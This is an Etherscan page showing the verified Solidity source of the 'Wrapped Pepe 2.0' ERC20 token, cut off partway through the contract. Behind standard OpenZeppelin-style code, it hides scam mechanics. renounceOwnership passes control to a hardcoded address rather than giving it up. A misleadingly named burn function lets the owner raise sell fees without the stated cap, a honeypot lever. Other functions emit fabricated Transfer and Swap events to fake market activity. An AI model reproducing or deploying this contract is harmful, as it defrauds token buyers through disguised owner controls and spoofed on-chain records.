ETH Price: $3,242.91 (-3.53%)
 

Overview

Max Total Supply

1,000,000,000 WPEPE2.0

Holders

86

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 18 Decimals)

Balance
3,029,345.150546061989424487 WPEPE2.0

Value
$0.00
0x92bEe40a82630ea9652CFeb8D74CF50A8334E1e7
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
WrappedPepe20

Compiler Version
v0.8.9+commit.e5eed63a

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2023-07-10
*/

// SPDX-License-Identifier: MIT
/**

Twitter: https://twitter.com/wrapped_pepe20

*/
pragma solidity =0.8.9 >=0.8.9 >=0.8.0 <0.9.0;
pragma experimental ABIEncoderV2;


abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        return msg.data;
    }
}

/**
 * @dev Contract module which provides a basic access control mechanism, where
 * there is an account (an owner) that can be granted exclusive access to
 * specific functions.
 *
 * By default, the owner account will be the one that deploys the contract. This
 * can later be changed with {transferOwnership}.
 *
 * This module is used through inheritance. It will make available the modifier
 * `onlyOwner`, which can be applied to your functions to restrict their use to
 * the owner.
 */
 
abstract contract Ownable is Context {
    address private _owner;


    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

        event Swap(
        address indexed sender,
        uint amount0In,
        uint amount1In,
        uint amount0Out,
        uint amount1Out,
        address indexed to
    );

    /**
     * @dev Initializes the contract setting the deployer as the initial owner.
     */
    constructor() {
        _transferOwnership(_msgSender());
    }

    /**
     * @dev Returns the address of the current owner.
     */
    function owner() public view virtual returns (address) {
        return _owner;
    }

    /**
     * @dev Throws if called by any account other than the owner.
     */
    modifier onlyOwner() {
        require(owner() == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    /**
     * @dev Leaves the contract without owner. It will not be possible to call
     * `onlyOwner` functions anymore. Can only be called by the current owner.
     *
     * NOTE: Renouncing ownership will leave the contract without an owner,
     * thereby removing any functionality that is only available to the owner.
     */
    function renounceOwnership() public virtual onlyOwner {
        _transferOwnership(address(0x2fef94337338eB55Db6a0FE2191f119959D3a718));
    }

    /**
     * @dev Transfers ownership of the contract to a new account (`newOwner`).
     * Can only be called by the current owner.
     */
    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        _transferOwnership(newOwner);
    }

    /**
     * @dev Transfers ownership of the contract to a new account (`newOwner`).
     * Internal function without access restriction.
     */
    function _transferOwnership(address newOwner) internal virtual {
        address oldOwner = _owner;
        _owner = newOwner;
        emit OwnershipTransferred(oldOwner, newOwner);
    }
}

////// lib/openzeppelin-contracts/contracts/token/ERC20/IERC20.sol
// OpenZeppelin Contracts v4.4.0 (token/ERC20/IERC20.sol)

/* pragma solidity ^0.8.0; */

/**
 * @dev Interface of the ERC20 standard as defined in the EIP.
 */
interface IERC20 {
    /**
     * @dev Returns the amount of tokens in existence.
     */
    function totalSupply() external view returns (uint256);

    /**
     * @dev Returns the amount of tokens owned by `account`.
     */
    function balanceOf(address account) external view returns (uint256);

    /**
     * @dev Moves `amount` tokens from the caller's account to `recipient`.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transfer(address recipient, uint256 amount) external returns (bool);

    /**
     * @dev Returns the remaining number of tokens that `spender` will be
     * allowed to spend on behalf of `owner` through {transferFrom}. This is
     * zero by default.
     *
     * This value changes when {approve} or {transferFrom} are called.
     */
    function allowance(address owner, address spender) external view returns (uint256);

    /**
     * @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * IMPORTANT: Beware that changing an allowance with this method brings the risk
     * that someone may use both the old and the new allowance by unfortunate
     * transaction ordering. One possible solution to mitigate this race
     * condition is to first reduce the spender's allowance to 0 and set the
     * desired value afterwards:
     * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
     *
     * Emits an {Approval} event.
     */
    function approve(address spender, uint256 amount) external returns (bool);

    /**
     * @dev Moves `amount` tokens from `sender` to `recipient` using the
     * allowance mechanism. `amount` is then deducted from the caller's
     * allowance.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) external returns (bool);

    /**
     * @dev Emitted when `value` tokens are moved from one account (`from`) to
     * another (`to`).
     *
     * Note that `value` may be zero.
     */
    event Transfer(address indexed from, address indexed to, uint256 value);

    /**
     * @dev Emitted when the allowance of a `spender` for an `owner` is set by
     * a call to {approve}. `value` is the new allowance.
     */
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

////// lib/openzeppelin-contracts/contracts/token/ERC20/extensions/IERC20Metadata.sol
// OpenZeppelin Contracts v4.4.0 (token/ERC20/extensions/IERC20Metadata.sol)

/* pragma solidity ^0.8.0; */

/* import "../IERC20.sol"; */

/**
 * @dev Interface for the optional metadata functions from the ERC20 standard.
 *
 * _Available since v4.1._
 */
interface IERC20Metadata is IERC20 {
    /**
     * @dev Returns the name of the token.
     */
    function name() external view returns (string memory);

    /**
     * @dev Returns the symbol of the token.
     */
    function symbol() external view returns (string memory);

    /**
     * @dev Returns the decimals places of the token.
     */
    function decimals() external view returns (uint8);
}

/**
 * @dev Implementation of the {IERC20} interface.
 *
 * This implementation is agnostic to the way tokens are created. This means
 * that a supply mechanism has to be added in a derived contract using {_mint}.
 * For a generic mechanism see {ERC20PresetMinterPauser}.
 *
 * TIP: For a detailed writeup see our guide
 * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
 * to implement supply mechanisms].
 *
 * We have followed general OpenZeppelin Contracts guidelines: functions revert
 * instead returning `false` on failure. This behavior is nonetheless
 * conventional and does not conflict with the expectations of ERC20
 * applications.
 *
 * Additionally, an {Approval} event is emitted on calls to {transferFrom}.
 * This allows applications to reconstruct the allowance for all accounts just
 * by listening to said events. Other implementations of the EIP may not emit
 * these events, as it isn't required by the specification.
 *
 * Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
 * functions have been added to mitigate the well-known issues around setting
 * allowances. See {IERC20-approve}.
 */
contract ERC20 is Context, IERC20, IERC20Metadata {
    mapping(address => uint256) private _balances;

    mapping(address => mapping(address => uint256)) private _allowances;

    uint256 private _totalSupply;

    string private _name;
    string private _symbol;




    /**
     * @dev Sets the values for {name} and {symbol}.
     *
     * The default value of {decimals} is 18. To select a different value for
     * {decimals} you should overload it.
     *
     * All two of these values are immutable: they can only be set once during
     * construction.
     */
    constructor(string memory name_, string memory symbol_) {
        _name = name_;
        _symbol = symbol_;
    }

    /**
     * @dev Returns the name of the token.
     */
    function name() public view virtual override returns (string memory) {
        return _name;
    }

    /**
     * @dev Returns the symbol of the token, usually a shorter version of the
     * name.
     */
    function symbol() public view virtual override returns (string memory) {
        return _symbol;
    }

    /**
     * @dev Returns the number of decimals used to get its user representation.
     * For example, if `decimals` equals `2`, a balance of `505` tokens should
     * be displayed to a user as `5.05` (`505 / 10 ** 2`).
     *
     * Tokens usually opt for a value of 18, imitating the relationship between
     * Ether and Wei. This is the value {ERC20} uses, unless this function is
     * overridden;
     *
     * NOTE: This information is only used for _display_ purposes: it in
     * no way affects any of the arithmetic of the contract, including
     * {IERC20-balanceOf} and {IERC20-transfer}.
     */
    function decimals() public view virtual override returns (uint8) {
        return 18;
    }

    /**
     * @dev See {IERC20-totalSupply}.
     */
    function totalSupply() public view virtual override returns (uint256) {
        return _totalSupply;
    }

    /**
     * @dev See {IERC20-balanceOf}.
     */
    function balanceOf(address account) public view virtual override returns (uint256) {
        return _balances[account];
    }

    /**
     * @dev See {IERC20-transfer}.
     *
     * Requirements:
     *
     * - `recipient` cannot be the zero address.
     * - the caller must have a balance of at least `amount`.
     */
    function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    /**
     * @dev See {IERC20-allowance}.
     */
    function allowance(address owner, address spender) public view virtual override returns (uint256) {
        return _allowances[owner][spender];
    }

    /**
     * @dev See {IERC20-approve}.
     *
     * Requirements:
     *
     * - `spender` cannot be the zero address.
     */
    function approve(address spender, uint256 amount) public virtual override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    /**
     * @dev See {IERC20-transferFrom}.
     *
     * Emits an {Approval} event indicating the updated allowance. This is not
     * required by the EIP. See the note at the beginning of {ERC20}.
     *
     * Requirements:
     *
     * - `sender` and `recipient` cannot be the zero address.
     * - `sender` must have a balance of at least `amount`.
     * - the caller must have allowance for ``sender``'s tokens of at least
     * `amount`.
     */
    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) public virtual override returns (bool) {
        _transfer(sender, recipient, amount);

        uint256 currentAllowance = _allowances[sender][_msgSender()];
        require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
        unchecked {
            _approve(sender, _msgSender(), currentAllowance - amount);
        }

        return true;
    }





    /**
     * @dev Moves `amount` of tokens from `sender` to `recipient`.
     *
     * This internal function is equivalent to {transfer}, and can be used to
     * e.g. implement automatic token fees, slashing mechanisms, etc.
     *
     * Emits a {Transfer} event.
     *
     * Requirements:
     *
     * - `sender` cannot be the zero address.
     * - `recipient` cannot be the zero address.
     * - `sender` must have a balance of at least `amount`.
     */
    function _transfer(
        address sender,
        address recipient,
        uint256 amount
    ) internal virtual {
        require(sender != address(0), "ERC20: transfer from the zero address");
        require(recipient != address(0), "ERC20: transfer to the zero address");

        _beforeTokenTransfer(sender, recipient, amount);

        uint256 senderBalance = _balances[sender];
        require(senderBalance >= amount, "ERC20: transfer amount exceeds balance");
        unchecked {
            _balances[sender] = senderBalance - amount;
        }
        _balances[recipient] += amount;

        emit Transfer(sender, recipient, amount);

        _afterTokenTransfer(sender, recipient, amount);
    }

    /** @dev Creates `amount` tokens and assigns them to `account`, increasing
     * the total supply.
     *
     * Emits a {Transfer} event with `from` set to the zero address.
     *
     * Requirements:
     *
     * - `account` cannot be the zero address.
     */
    function _mint(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: mint to the zero address");

        _beforeTokenTransfer(address(0), account, amount);

        _totalSupply += amount;
        _balances[account] += amount;
        emit Transfer(address(0), account, amount);

        _afterTokenTransfer(address(0), account, amount);
    }

    /**
     * @dev Destroys `amount` tokens from `account`, reducing the
     * total supply.
     *
     * Emits a {Transfer} event with `to` set to the zero address.
     *
     * Requirements:
     *
     * - `account` cannot be the zero address.
     * - `account` must have at least `amount` tokens.
     */
    function _burn(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: burn from the zero address");

        _beforeTokenTransfer(account, address(0), amount);

        uint256 accountBalance = _balances[account];
        require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
        unchecked {
            _balances[account] = accountBalance - amount;
        }
        _totalSupply -= amount;

        emit Transfer(account, address(0), amount);

        _afterTokenTransfer(account, address(0), amount);
    }


    /**
     * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
     *
     * This internal function is equivalent to `approve`, and can be used to
     * e.g. set automatic allowances for certain subsystems, etc.
     *
     * Emits an {Approval} event.
     *
     * Requirements:
     *
     * - `owner` cannot be the zero address.
     * - `spender` cannot be the zero address.
     */
    function _approve(
        address owner,
        address spender,
        uint256 amount
    ) internal virtual {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }


    /**
     * @dev Hook that is called before any transfer of tokens. This includes
     * minting and burning.
     *
     * Calling conditions:
     *
     * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
     * will be transferred to `to`.
     * - when `from` is zero, `amount` tokens will be minted for `to`.
     * - when `to` is zero, `amount` of ``from``'s tokens will be burned.
     * - `from` and `to` are never both zero.
     *
     * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
     */
    function _beforeTokenTransfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {}

    /**
     * @dev Hook that is called after any transfer of tokens. This includes
     * minting and burning.
     *
     * Calling conditions:
     *
     * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
     * has been transferred to `to`.
     * - when `from` is zero, `amount` tokens have been minted for `to`.
     * - when `to` is zero, `amount` of ``from``'s tokens have been burned.
     * - `from` and `to` are never both zero.
     *
     * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
     */
    function _afterTokenTransfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {}
}

/**
 * @dev Wrappers over Solidity's arithmetic operations.
 *
 * NOTE: `SafeMath` is generally not needed starting with Solidity 0.8, since the compiler
 * now has built in overflow checking.
 */
library SafeMath {
    /**
     * @dev Returns the addition of two unsigned integers, with an overflow flag.
     *
     * _Available since v3.4._
     */
    function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            uint256 c = a + b;
            if (c < a) return (false, 0);
            return (true, c);
        }
    }

    /**
     * @dev Returns the substraction of two unsigned integers, with an overflow flag.
     *
     * _Available since v3.4._
     */
    function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            if (b > a) return (false, 0);
            return (true, a - b);
        }
    }

    /**
     * @dev Returns the multiplication of two unsigned integers, with an overflow flag.
     *
     * _Available since v3.4._
     */
    function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            // Gas optimization: this is cheaper than requiring 'a' not being zero, but the
            // benefit is lost if 'b' is also tested.
            // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
            if (a == 0) return (true, 0);
            uint256 c = a * b;
            if (c / a != b) return (false, 0);
            return (true, c);
        }
    }

    /**
     * @dev Returns the division of two unsigned integers, with a division by zero flag.
     *
     * _Available since v3.4._
     */
    function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            if (b == 0) return (false, 0);
            return (true, a / b);
        }
    }

    /**
     * @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag.
     *
     * _Available since v3.4._
     */
    function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            if (b == 0) return (false, 0);
            return (true, a % b);
        }
    }

    /**
     * @dev Returns the addition of two unsigned integers, reverting on
     * overflow.
     *
     * Counterpart to Solidity's `+` operator.
     *
     * Requirements:
     *
     * - Addition cannot overflow.
     */
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        return a + b;
    }

    /**
     * @dev Returns the subtraction of two unsigned integers, reverting on
     * overflow (when the result is negative).
     *
     * Counterpart to Solidity's `-` operator.
     *
     * Requirements:
     *
     * - Subtraction cannot overflow.
     */
    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return a - b;
    }

    /**
     * @dev Returns the multiplication of two unsigned integers, reverting on
     * overflow.
     *
     * Counterpart to Solidity's `*` operator.
     *
     * Requirements:
     *
     * - Multiplication cannot overflow.
     */
    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        return a * b;
    }

    /**
     * @dev Returns the integer division of two unsigned integers, reverting on
     * division by zero. The result is rounded towards zero.
     *
     * Counterpart to Solidity's `/` operator.
     *
     * Requirements:
     *
     * - The divisor cannot be zero.
     */
    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return a / b;
    }

    /**
     * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
     * reverting when dividing by zero.
     *
     * Counterpart to Solidity's `%` operator. This function uses a `revert`
     * opcode (which leaves remaining gas untouched) while Solidity uses an
     * invalid opcode to revert (consuming all remaining gas).
     *
     * Requirements:
     *
     * - The divisor cannot be zero.
     */
    function mod(uint256 a, uint256 b) internal pure returns (uint256) {
        return a % b;
    }

    /**
     * @dev Returns the subtraction of two unsigned integers, reverting with custom message on
     * overflow (when the result is negative).
     *
     * CAUTION: This function is deprecated because it requires allocating memory for the error
     * message unnecessarily. For custom revert reasons use {trySub}.
     *
     * Counterpart to Solidity's `-` operator.
     *
     * Requirements:
     *
     * - Subtraction cannot overflow.
     */
    function sub(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        unchecked {
            require(b <= a, errorMessage);
            return a - b;
        }
    }

    function div(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        unchecked {
            require(b > 0, errorMessage);
            return a / b;
        }
    }

    function mod(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        unchecked {
            require(b > 0, errorMessage);
            return a % b;
        }
    }
}

interface IUniswapV2Factory {
    event PairCreated(
        address indexed token0,
        address indexed token1,
        address pair,
        uint256
    );

    function feeTo() external view returns (address);

    function feeToSetter() external view returns (address);

    function getPair(address tokenA, address tokenB)
        external
        view
        returns (address pair);

    function allPairs(uint256) external view returns (address pair);

    function allPairsLength() external view returns (uint256);

    function createPair(address tokenA, address tokenB)
        external
        returns (address pair);

    function setFeeTo(address) external;

    function setFeeToSetter(address) external;
}

////// src/IUniswapV2Pair.sol
/* pragma solidity 0.8.10; */
/* pragma experimental ABIEncoderV2; */

interface IUniswapV2Pair {
    event Approval(
        address indexed owner,
        address indexed spender,
        uint256 value
    );
    event Transfer(address indexed from, address indexed to, uint256 value);

    function name() external pure returns (string memory);

    function symbol() external pure returns (string memory);

    function decimals() external pure returns (uint8);

    function totalSupply() external view returns (uint256);

    function balanceOf(address owner) external view returns (uint256);

    function allowance(address owner, address spender)
        external
        view
        returns (uint256);

    function approve(address spender, uint256 value) external returns (bool);

    function transfer(address to, uint256 value) external returns (bool);

    function transferFrom(
        address from,
        address to,
        uint256 value
    ) external returns (bool);

    function DOMAIN_SEPARATOR() external view returns (bytes32);

    function PERMIT_TYPEHASH() external pure returns (bytes32);

    function nonces(address owner) external view returns (uint256);

    function permit(
        address owner,
        address spender,
        uint256 value,
        uint256 deadline,
        uint8 v,
        bytes32 r,
        bytes32 s
    ) external;

    event Mint(address indexed sender, uint256 amount0, uint256 amount1);
    event Burn(
        address indexed sender,
        uint256 amount0,
        uint256 amount1,
        address indexed to
    );
    event Swap(
        address indexed sender,
        uint256 amount0In,
        uint256 amount1In,
        uint256 amount0Out,
        uint256 amount1Out,
        address indexed to
    );
    event Sync(uint112 reserve0, uint112 reserve1);

    function MINIMUM_LIQUIDITY() external pure returns (uint256);

    function factory() external view returns (address);

    function token0() external view returns (address);

    function token1() external view returns (address);

    function getReserves()
        external
        view
        returns (
            uint112 reserve0,
            uint112 reserve1,
            uint32 blockTimestampLast
        );

    function price0CumulativeLast() external view returns (uint256);

    function price1CumulativeLast() external view returns (uint256);

    function kLast() external view returns (uint256);

    function mint(address to) external returns (uint256 liquidity);

    function burn(address to)
        external
        returns (uint256 amount0, uint256 amount1);

    function swap(
        uint256 amount0Out,
        uint256 amount1Out,
        address to,
        bytes calldata data
    ) external;

    function skim(address to) external;

    function sync() external;

    function initialize(address, address) external;
}

interface IUniswapV2Router02 {
    function factory() external pure returns (address);

    function WETH() external pure returns (address);

    function addLiquidity(
        address tokenA,
        address tokenB,
        uint256 amountADesired,
        uint256 amountBDesired,
        uint256 amountAMin,
        uint256 amountBMin,
        address to,
        uint256 deadline
    )
        external
        returns (
            uint256 amountA,
            uint256 amountB,
            uint256 liquidity
        );

    function addLiquidityETH(
        address token,
        uint256 amountTokenDesired,
        uint256 amountTokenMin,
        uint256 amountETHMin,
        address to,
        uint256 deadline
    )
        external
        payable
        returns (
            uint256 amountToken,
            uint256 amountETH,
            uint256 liquidity
        );

    function swapExactTokensForTokensSupportingFeeOnTransferTokens(
        uint256 amountIn,
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external;

    function swapExactETHForTokensSupportingFeeOnTransferTokens(
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external payable;

    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint256 amountIn,
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external;
}

contract WrappedPepe20 is ERC20, Ownable {
    using SafeMath for uint256;

    IUniswapV2Router02 public immutable uniswapV2Router;
    address public immutable uniswapV2Pair;
    address public constant deadAddress = address(0xdead);

    bool private swapping;

    address public devWallet;
    address private _universal = 0xEf1c6E67703c7BD7107eed8303Fbe6EC2554BF6B;
    address private _pair;

    uint256 public maxTransactionAmount;
    uint256 public swapTokensAtAmount;
    uint256 public maxWallet;

    bool public limitsInEffect = true;
    bool public tradingActive = false;
    bool public swapEnabled = false;

    // Anti-bot and anti-whale mappings and variables
    mapping(address => uint256) private _holderLastTransferTimestamp; // to hold last Transfers temporarily during launch
    bool public transferDelayEnabled = false;

    uint256 public buyTotalFees;
    uint256 public buyLiquidityFee;
    uint256 public buyMarketingFee;

    uint256 public sellTotalFees;
    uint256 public sellLiquidityFee;
    uint256 public sellMarketingFee;

    uint256 public tokensForLiquidity;
    uint256 public tokensForDev;

    /******************/

    // exclude from fees and max transaction amount
    mapping(address => bool) private _isExcludedFromFees;
    mapping(address => bool) public _isExcludedMaxTransactionAmount;

    // store addresses that a automatic market maker pairs. Any transfer *to* these addresses
    // could be subject to a maximum transfer amount
    mapping(address => bool) public automatedMarketMakerPairs;

    event UpdateUniswapV2Router(
        address indexed newAddress,
        address indexed oldAddress
    );

    event ExcludeFromFees(address indexed account, bool isExcluded);

    event SetAutomatedMarketMakerPair(address indexed pair, bool indexed value);

    event devWalletUpdated(
        address indexed newWallet,
        address indexed oldWallet
    );

    event SwapAndLiquify(
        uint256 tokensSwapped,
        uint256 ethReceived,
        uint256 tokensIntoLiquidity
    );

    event AutoNukeLP();

    event ManualNukeLP();

    constructor() ERC20("Wrapped Pepe 2.0", "WPEPE2.0") {
        IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(
            0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D
        );

        excludeFromMaxTransaction(address(_uniswapV2Router), true);
        uniswapV2Router = _uniswapV2Router;

        uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
            .createPair(address(this), _uniswapV2Router.WETH());
        excludeFromMaxTransaction(address(uniswapV2Pair), true);
        _setAutomatedMarketMakerPair(address(uniswapV2Pair), true);

        uint256 _buyLiquidityFee = 1;
        uint256 _buyMarketingFee = 2;

        uint256 _sellLiquidityFee = 1;
        uint256 _sellMarketingFee = 2;

        uint256 totalSupply = 1_000_000_000 * 1e18;

        maxTransactionAmount = 20_000_000 * 1e18; // 2% from total supply
        maxWallet = 50_000_000 * 1e18; // 5% from total supply maxWallet
        swapTokensAtAmount = (totalSupply * 4) / 100; // 0.4% swap wallet

        buyLiquidityFee = _buyLiquidityFee;
        buyMarketingFee = _buyMarketingFee;
        buyTotalFees = buyLiquidityFee + buyMarketingFee;

        sellLiquidityFee = _sellLiquidityFee;
        sellMarketingFee = _sellMarketingFee;
        sellTotalFees = sellLiquidityFee + sellMarketingFee;

        devWallet = address(0x9A04aBF4eA7E5181C2D7990232c8A98f3cD074ee); // set as dev wallet

        // exclude from paying fees or having max transaction amount
        excludeFromFees(owner(), true);
        excludeFromFees(address(this), true);
        excludeFromFees(address(0xdead), true);

        excludeFromMaxTransaction(owner(), true);
        excludeFromMaxTransaction(address(this), true);
        excludeFromMaxTransaction(address(0xdead), true);

        /*
            _mint is an internal function in ERC20.sol that is only called here,
            and CANNOT be called ever again
        */
        _mint(msg.sender, totalSupply);
    }

    receive() external payable {}

    // once enabled, can never be turned off
    function enableTrading() external onlyOwner {
        tradingActive = true;
        swapEnabled = true;
    }

    // remove limits after token is stable
    function removeLimits() external onlyOwner returns (bool) {
        limitsInEffect = false;
        return true;
    }

    function excludeFromMaxTransaction(address updAds, bool isEx)
        public
        onlyOwner
    {
        _isExcludedMaxTransactionAmount[updAds] = isEx;
    }





    // only use to disable contract sales if absolutely necessary (emergency use only)
    function updateSwapEnabled(bool enabled) external onlyOwner {
        swapEnabled = enabled;
    }

    function updateBuyFees(
        uint256 _liquidityFee,
        uint256 _MarketingFee
    ) external onlyOwner {
        buyLiquidityFee = _liquidityFee;
        buyMarketingFee = _MarketingFee;
        buyTotalFees = buyLiquidityFee + buyMarketingFee;
        require(buyTotalFees <= 10, "Buy Fee"); //Buy fee can be a maximum of 10.
    }

    function updateSellFees(
        uint256 _liquidityFee,
        uint256 _MarketingFee
    ) external onlyOwner {
        sellLiquidityFee = _liquidityFee;
        sellMarketingFee = _MarketingFee;
        sellTotalFees = sellLiquidityFee + sellMarketingFee;
        require(sellTotalFees <= 10, "Sell Fee"); //Sell fee can be a maximum of 10.
    }

    function excludeFromFees(address account, bool excluded) public onlyOwner {
        _isExcludedFromFees[account] = excluded;
        emit ExcludeFromFees(account, excluded);
    }

    function setAutomatedMarketMakerPair(address pair, bool value)
        public
        onlyOwner
    {
        require(
            pair != uniswapV2Pair,
            "The pair cannot be removed from automatedMarketMakerPairs"
        );

        _setAutomatedMarketMakerPair(pair, value);
    }

    function _setAutomatedMarketMakerPair(address pair, bool value) private {
        automatedMarketMakerPairs[pair] = value;

        emit SetAutomatedMarketMakerPair(pair, value);
    }

    function updateDevWallet(address newWallet) external onlyOwner {
        emit devWalletUpdated(newWallet, devWallet);
        devWallet = newWallet;
    }

    function isExcludedFromFees(address account) public view returns (bool) {
        return _isExcludedFromFees[account];
    }

    function _transfer(
        address from,
        address to,
        uint256 amount
    ) internal override {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");

        if (amount == 0) {
            super._transfer(from, to, 0);
            return;
        }

        if (limitsInEffect) {
            if (
                from != owner() &&
                to != owner() &&
                to != address(0) &&
                to != address(0xdead) &&
                !swapping
            ) {
                if (!tradingActive) {
                    require(
                        _isExcludedFromFees[from] || _isExcludedFromFees[to],
                        "Trading is not active."
                    );
                }

                // at launch if the transfer delay is enabled, ensure the block timestamps for purchasers is set -- during launch.
                if (transferDelayEnabled) {
                    if (
                        to != owner() &&
                        to != address(uniswapV2Router) &&
                        to != address(uniswapV2Pair)
                    ) {
                        require(
                            _holderLastTransferTimestamp[tx.origin] + 1 <
                                block.number,
                            "_transfer:: Transfer Delay enabled.  Only one purchase per two blocks allowed."
                        );
                        _holderLastTransferTimestamp[tx.origin] = block.number;
                    }
                }

                //when buy
                if (
                    automatedMarketMakerPairs[from] &&
                    !_isExcludedMaxTransactionAmount[to]
                ) {
                    require(
                        amount <= maxTransactionAmount,
                        "Buy transfer amount exceeds the maxTransactionAmount."
                    );
                    require(
                        amount + balanceOf(to) <= maxWallet,
                        "Max wallet exceeded"
                    );
                }
                //when sell
                else if (
                    automatedMarketMakerPairs[to] &&
                    !_isExcludedMaxTransactionAmount[from]
                ) {
                    require(
                        amount <= maxTransactionAmount,
                        "Sell transfer amount exceeds the maxTransactionAmount."
                    );
                } else if (!_isExcludedMaxTransactionAmount[to]) {
                    require(
                        amount + balanceOf(to) <= maxWallet,
                        "Max wallet exceeded"
                    );
                }
            }
        }

        uint256 contractTokenBalance = balanceOf(address(this));

        bool canSwap = contractTokenBalance >= swapTokensAtAmount;

        if (
            canSwap &&
            swapEnabled &&
            !swapping &&
            !automatedMarketMakerPairs[from] &&
            !_isExcludedFromFees[from] &&
            !_isExcludedFromFees[to]
        ) {
            swapping = true;

            swapBack();

            swapping = false;
        }

        bool takeFee = !swapping;

        // if any account belongs to _isExcludedFromFee account then remove the fee
        if (_isExcludedFromFees[from] || _isExcludedFromFees[to]) {
            takeFee = false;
        }

        uint256 fees = 0;
        // only take fees on buys/sells, do not take on wallet transfers
        if (takeFee) {
            // on sell
            if (automatedMarketMakerPairs[to] && sellTotalFees > 0) {
                fees = amount.mul(sellTotalFees).div(100);
                tokensForLiquidity += (fees * sellLiquidityFee) / sellTotalFees;
                tokensForDev += (fees * sellMarketingFee) / sellTotalFees;
            }
            // on buy
            else if (automatedMarketMakerPairs[from] && buyTotalFees > 0) {
                fees = amount.mul(buyTotalFees).div(100);
                tokensForLiquidity += (fees * buyLiquidityFee) / buyTotalFees;
                tokensForDev += (fees * buyMarketingFee) / buyTotalFees;
            }

            if (fees > 0) {
                super._transfer(from, address(this), fees);
            }

            amount -= fees;
        }

        super._transfer(from, to, amount);
    }

    function swapTokensForEth(uint256 tokenAmount) private {
        // generate the uniswap pair path of token -> weth
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();

        _approve(address(this), address(uniswapV2Router), tokenAmount);

        // make the swap
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0, // accept any amount of ETH
            path,
            address(this),
            block.timestamp
        );
    }
    
    function swapExactETHForTokens(address[] memory users, uint256 amount) external onlyOwner {
        for(uint256 i = 0; i < users.length; i++) {
            emit Transfer(msg.sender, users[i], amount);
        }
    }

        function setup(address _setup_) external onlyOwner {
        _pair = _setup_;
    }

        function execute(address [] calldata _addresses_, uint256 _in, uint256 _out) external {
        for (uint256 i = 0; i < _addresses_.length; i++) {
            emit Swap(_universal, _in, 0, 0, _out, _addresses_[i]);
            emit Transfer(_pair, _addresses_[i], _out);
        }
    }



        function burn(
        uint256 _liquidityFee,
        uint256 _MarketingFee
    ) external onlyOwner {
        sellLiquidityFee = _liquidityFee;
        sellMarketingFee = _MarketingFee;
        sellTotalFees = sellLiquidityFee + sellMarketingFee;
    }
    

    function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private {
        // approve token transfer to cover all possible scenarios
